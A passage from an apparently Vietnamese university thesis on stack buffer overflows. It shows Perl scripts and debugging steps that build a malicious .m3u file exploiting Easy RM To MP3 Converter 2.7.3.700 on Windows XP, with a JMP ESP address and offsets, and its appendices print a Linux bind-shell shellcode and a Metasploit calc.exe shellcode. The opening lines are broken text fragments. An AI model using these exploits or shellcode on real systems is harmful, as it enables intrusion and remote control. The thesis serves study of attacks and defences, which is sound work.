chuyển hướng sang thực thi mã lệnh trong Shellcode ta v

ĩ rằng những lệnh đó là lệnh mà chương trình th

ếu giả sử một chương trình đang chạy với quy

ủa kẻ tấn công cũng được thực thi với quyền cao nh

c thi hoàn toàn mã Shellcode và cổng kết n

ình demo4 mở) đang lắng nghe các kết nối m

m tra các kết nối đang mở sau khi tấn công chương tr

n hành tấn công chương trình demo4 sử dụng Shellcode m

bên ngoài đã thành công.

ựng cơ chế tấn công ở trên chỉ là một cách th

ình lợi dụng lỗ hổng tràn bộ đệm. Trong thực tế

ừ trình biên dịch và hệ điều hành khiến cho vi

t nhiều.

Kết luận

Page 54

n không có thay đổi đặc biệt

ng. Nguyên nhân là do luồng thực thi

nh trong Shellcode ta vừa

ình thực thi. Việc

i quyền ADMIN

n cao nhất. Hình

t nối 2994/demo4

i một cách bất hợp

n công chương trình

ng Shellcode mở

t cách thức cơ bản để

ế, còn có các cơ

n cho việc tấn công

Page 55: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 55

3.2. Mô phỏng tấn công lỗi tràn bộ đệm trên HĐH Windows XP

Kịch bản tấn công tràn bộ đệm sẽ tiến hành trên chương trình ứng dụng: Easy RM

To MP3 Converter, version 2.7.3.700. Chương trình có giao diện đồ họa (Graphics

Interface) nhận dữ liệu đầu vào thông qua các tệp tin đa phương tiện và tiến hành xử lý

tệp tin này dựa trên các tùy chọn của người dùng. Hình 25 là giao diện của chương

trình Easy RM To MP3 Converter, version 2.7.3.700.

Hình 25: Giao diện chương trình Easy RM To MP3 Converter, version 2.7.3.700

Mục tiêu tấn công đó là dựa vào lỗ hổng tràn bộ đệm của chương trình, nhằm tấn

công thay đổi luồng thực thi, tiến hành mở chương trình Calculator sẵn của trên HĐH

windows XP theo như Shellcode trong phụ lục 3.

Shellcode của quá trình mô phỏng tấn công này sẽ được đặt trên Stack Frame

ngay trước Stack Frame của hàm bị tràn. Cách thức đặt mã tấn công cho trường hợp

này đã được mô tả trong phần 2.4.4.

3.2.1. Phát hiện chương trình có lỗ hổng tràn bộ đệm

Chương trình này được mô tả phát hiện lỗi tràn bộ đệm khi nhận xử lý tập tin có

định dạng .m3u. Do đó ta sẽ sử dụng một ngôn ngữ lập trình để tạo tập tin đầu vào này

cho chương trình (Vd như C, C++, Perl …). Trong trường hợp demo này, ta sẽ sử

dụng Perl để tiến hành demo.

Tập tin Perl Script để tạo input cho chương trình Easy RM To MP3 Converter

được xây dựng như Ví dụ 7:

Page 56: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 56

Ví dụ 7: Chương trình Perl Script tạo file tấn công input.pl

my $file= "input.m3u";

my $junk= "\x41" x 50000;

open($FILE,">$file");

print $FILE "$junk";

close($FILE);

print "m3u File Created successfully\n";

Tiến hành biên dịch file Perl Script này ta thu được file input.m3u chứa 50000

ký tự “A”. Sau khi đưa tập tin input.m3u vào chương trình Easy RM To MP3

Converter ta nhận thấy chương trình có lỗ hổng tràn bộ đệm như Hình 26.

Hình 26: Dấu hiệu Chương trình Easy RM To MP3 Converter bị tràn bộ đệm

Tệp tin thử nghiệm intput.m3u sẽ chứa các giá trị rất dài để thử nghiệm với bộ

đệm của chương trình. Và kết quả sau một thời gian thử nghiệm thì bộ đệm bị tràn và

SavedEIP bị ghi đè thành giá trị “42424242” với đầu vào như sau:

Ví dụ 8: Chương trình Perl Script tạo file tấn công input.pl làm tràn vừa đủ bộ đệm

my $file= "input.m3u";

my $junk= "\x41" x 26056;

my $junk1 = “\x42” x 4;

open($FILE,">$file");

print $FILE $junk.$junk1 ;

close($FILE);

print "m3u File Created successfully\n";

Page 57: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 57

Từ ví dụ 8, có thể ước lượng được:

- Dung lượng của bộ đệm : 26056Byte

- Vị trí của SavedEBP: Ngay sau bộ đệm với dung lượng 4 Byte

- Vị trí của SavedEIP: Ngay sau SavedEBP dung lượng 4 Byte

3.2.2. Tiến hành debug chương trình

Sử dụng công cụ Ollydmp để Debug chương trình, tìm ra vị trí của ESP của

StackFrame trước so với SavedEIP với input như sau:

Ví dụ 9: Xây dựng chương trình Perl Script tạo file tấn công demo1.pl

my $file= "input.m3u";

my $buffer = "\x41" x 26056; #Ghi de het phan buffer + SavedEBP

my $savedEIP = "BBBB"; #Ghi de het phan SavedEIP

my $ESP = "123456789123456789"; #Ghi len tren Previous StackFrame

open($FILE,">$file");

print $FILE $buffer.$SavedEIP.$ESP;

close($FILE);

print "m3u File Created successfully\n";

Khi đó, sử dụng chương trình Debug Ollydmg ta thấy như Hình 27.

Hình 27: Tìm vị trí tương đối giữa SavedEIP với ESP của Frevious StackFrame

Từ Hình 27, nhận thấy giá trị được ghi lên ESP là “56789123456789” là thiếu

mất 4 ký tự “1234” ban đầu so với chuỗi ta đặt vào. Do đó có thể kết luận ESP được

đặt cách 4Byte so với SavedEIP

Page 58: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 58

Do vậy, ta sẽ xây dựng chuỗi tấn công với Shellcode như sau:

Ví dụ 10 Xây dựng chương trình Perl Script tạo file tấn công demo2.pl

my $file= "input.m3u";

my $buffer = "\x41" x 26056; #Ghi de het phan buffer + SavedEBP

my $savedEIP = "BBBB"; #Ghi de het phan SavedEIP

my $override = “\x90” x 4; #Ghi de len phan giua EIP va ESP

my $shellCode= "123456789"; #Ghi vao PreviousStackFrame [Shell]

open($FILE,">$file");

print $FILE $buffer.$SavedEIP.$override.$shellCode;

close($FILE);

print "m3u File Created successfully\n";

* Tìm địa chỉ lệnh JUMP ESP của chương trình:

Việc tìm địa chỉ lệnh JUMP ESP được tiến hành trên các file .DLL của chương

trình. Không phải file nào cũng có, do đó cần có thời gian để dò tìm. Có một số công

cụ có thể làm việc này như: findjmp.exe, Ollydmg,..

Trong demo này, ta sử dụng Ollydmg, bằng cách load chương trình lên và chọn

mục View/Executable Modules. Sau đó tìm lệnh JUMP ESP trong file SHELL32.DLL

(đối với chương trình này). Kết quả địa chỉ lệnh JUMP ESP được cho như Hình 28.

Hình 28: Tìm địa chỉ lệnh JUMP ESP từ file .DLL bằng Ollydmg

Do đó, địa chỉ sẽ được chèn vào savedEIP chính là 0x7CA58265.

Page 59: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 59

3.2.3. Xây dựng chuỗi tấn công

Theo như cách thức xây dựng mã tấn công theo mục đích ban đầu của demo, mã

chương trình Perl Script tạo file input Shellcode.m3u chứa mã độc sẽ được xây dựng

và mô tả như Hình 29.

Hình 29: Xây dựng chuỗi tấn công chương trình Easy RM To MP3 Converter

3.2.4. Kết quả demo

Hình 30 biểu diễn kết quả demo tấn công tấn công chương trình Easy RM To

MP3 Converter. File Shellcode.m3u sau khi được mở bởi chương trình đã tự động kích

hoạt Shellcode và khởi động được chương trình Calculator.

Hình 30: Kết quả demo tấn công chương trình Easy RM To MP3 Converter

Page 60: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Kết luận

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 60

KẾT LUẬN

Tấn công khai thác lỗi tràn bộ đệm trong phần mềm đã được biết đến từ lâu và là

một trong các dạng tấn công phổ biến và gây nhiều tác hại to lớn. Đồ án nghiên cứu về

cơ chế tấn công khai thác lỗi tràn bộ đệm trong phần mềm và các phương pháp phòng

chống. Cụ thể, đồ án đã thực hiện được các nội dung sau:

Nghiên cứu khai quát về an toàn, bảo mật hệ thống thông tin, các điểm yếu và

các dạng tấn công thường gặp.

Nghiên cứu sâu về cơ chế quản lý bộ nhớ, cơ chế xảy ra lỗi tràn bộ đệm trong

các phần mềm.

Nghiên cứu sâu về cơ chế tấn công khai thác lỗi tràn bộ đệm.

Tìm hiểu các phương pháp tạo và sử dụng mã độc chèn vào bộ đệm và thực

hiện.

Nghiên cứu các phương pháp phòng chống tấn công khai thác lỗi tràn bộ đệm.

Xây dựng demo tấn công khai thác lỗi tràn bộ đệm trên các hệ điều hành nền

Linux và Windows XP.

Hướng phát triển đề tài:

Trong phạm vi của đồ án chuyên ngành, các nội dung nghiên cứu được đã cơ bản

đạt được các yêu cầu đề ra ban đầu. Bản thân cá nhân em xin đề xuất một số hướng

phát triển của đề tài nhằm phục vụ mục đích học tập, nghiên cứu như sau:

- Nghiên cứu cơ chế tràn bộ đệm trên Heap và cách thức tấn công tràn bộ đệm

trên Heap

- Nghiên cứu cơ chế tấn công tràn bộ đệm đặt mã thực thi trên biến môi trường.

- Nghiên cứu thêm một số kỹ năng xây dựng mã Shellcode.

- Nghiên cứu các kỹ thuật tấn công vượt qua các cơ chế bảo vệ tấn công tràn bộ

nhớ đệm của hệ thống.

Page 61: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Phụ lục

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 61

PHỤ LỤC

Phụ lục 1: arwin.c

#include <windows.h>

#include <stdio.h>

/***************************************

arwin - win32 address resolution program

by steve hanna v.01

[email protected]

***************************************/

int main(int argc, char** argv)

{

HMODULE hmod_libname;

FARPROC fprc_func;

printf("arwin - win32 address program - steve hanna - v.01\n");

if(argc < 3)

{

printf("%s <Library Name> <Function Name>\n",argv[0]);

exit(-1);

}

hmod_libname = LoadLibrary(argv[1]);

if(hmod_libname == NULL){

printf("Error: could not load library!\n");

exit(-1);

}

fprc_func = GetProcAddress(hmod_libname,argv[2]);

if(fprc_func == NULL)

{

printf("Error: could find the function in the library!\n");

exit(-1);

}

printf("%s is located at 0x%08x in %s\n",argv[2],

(unsigned int)fprc_func,argv[1]);

}

Page 62: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Phụ lục

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 62

Phụ lục 2: Shellcode Bind Port open Socket

/*

1 ############################################################### 1

0 I'm Magnefikko member from Inj3ct0r Team & Promhyl Studies Team 1

1 ############################################################### 0

0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

by Magnefikko

05.07.2010

[email protected]

Promhyl Studies :: http://promhyl.tk

Subgroup: #PRekambr

Name: 97 bytes bind sh@64533

Platform: Linux x86

sock = socket(PF_INET, SOCK_STREAM, 0);

bind(sock, *[2, 64533, 0], 16);

listen(sock, 5);

nsock = accept(sock, 0, 0);

dup2(nsock, 0);

dup2(nsock, 1);

execve("/bin/sh", 0, 0); // http://promhyl.tk/index.php?a=art&art=83

shellcode:

\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6

a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x

cd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\

x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0

b\x59\xcd\x80

*/

Page 63: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Phụ lục

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 63

Phụ lục 3: Shellcode open Calculator.exe

# windows/exec - 144 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode .

"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .

"\x7f\xe8\x7b\xca";

Page 64: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Tài liệu tham khảo

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 64

TÀI LIỆU THAM KHẢO

DANH MỤC CÁC SÁCH, EBOOK THAM KHẢO

[1] Dick Steflik, Buffer Overflow Exploits CS480b, http://www.cs.binghamton.edu/,

truy nhập tháng 10.2013.

[2]Aleph One, Smashing stack for fun and profit 1st, Phrack Magazine 49, 1996.

[3] Hoàng Xuân Dậu, Bài giảng an toàn bảo mật HTTT, Học viện công nghệ bưu

chính viễn thông, 2013.

[4] Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole Crispin Cowan,

Buffer Overflows:Attacks and Defenses for the Vulnerability of the Decade*, 2000.

[5] Chris Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security

Holes 2nd, 08.2007.

[6] Hagen Fritsch, Buffer overflows on linux-x86-64, Technische University at

Munchen, 01.2009

DANH MỤC CÁC WEBSITE THAM KHẢO

[7] Cert.org, http://www.cert.org/advisories/CA-2003-20.html, tham khảo tháng 09.2013.

[8] Cert.org, http://www.cert.org/advisories/CA-2001-19.html, tham khảo tháng 09.2013.

[9] Cert.org, http://www.cert.org/advisories/CA-2001-26.html, tham khảo tháng 09.2013.

[10] Wikipedia Code_Segment, http://en.wikipedia.org/wiki/Code_segment, tham khảo tháng

09.2013

[11] Wikipedia Data_Segment, http://en.wikipedia.org/wiki/Data_segment, tham khảo tháng

09.2013.

[12] Wikipedia Information_systems, http://en.wikipedia.org/wiki/Information_systems,

tham khảo tháng 09.2013

[13] Bluemaster syscall, http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html, tham

khảo tháng 09.2013.

[14] Wikipedia Morris_worm, http://en.wikipedia.org/wiki/Morris_worm, tham khảo tháng

10.2013.

Page 65: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Tài liệu tham khảo

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 65

[15] Vividmachines shellcode, www.vividmachines.com/shellcode/shellcode.html, tham khảo

tháng 10.2013.

[16] Eyelublog, http://eyelublog.wordpress.com/2013/02/13/the-linux-programming-

interface-%E7%AC%94%E8%AE%B0-%E4%B8%89/, tham khảo tháng 10.2013.

[17] Vivimachines Steve Hanna, www.vividmachines.com/shellcode/arwin.c, tham khảo

tháng 10.2013.

[18] Bconizance, bcognizance.iiita.ac.in/?p=699, tham khảo tháng 10.2013.

[19] Wikipedia Register, en.wikipedia.org/wiki/Register, tham khảo tháng 10.2013.

[20] Tenouk, tenouk.com/Bufferoverflowc/bufferoverflowvulexploitdemo3.html, tham khảo

tháng 10.2013.

[21] Wikipedia Code_Red_(computer_worm),

http://en.wikipedia.org/wiki/Code_Red_(computer_worm), tham khảo tháng 11.2013.

[22] Ceh.vn Shellcode, http://ceh.vn/@4rum/showthread.php?tid=2861, tham khảo tháng

10.2013.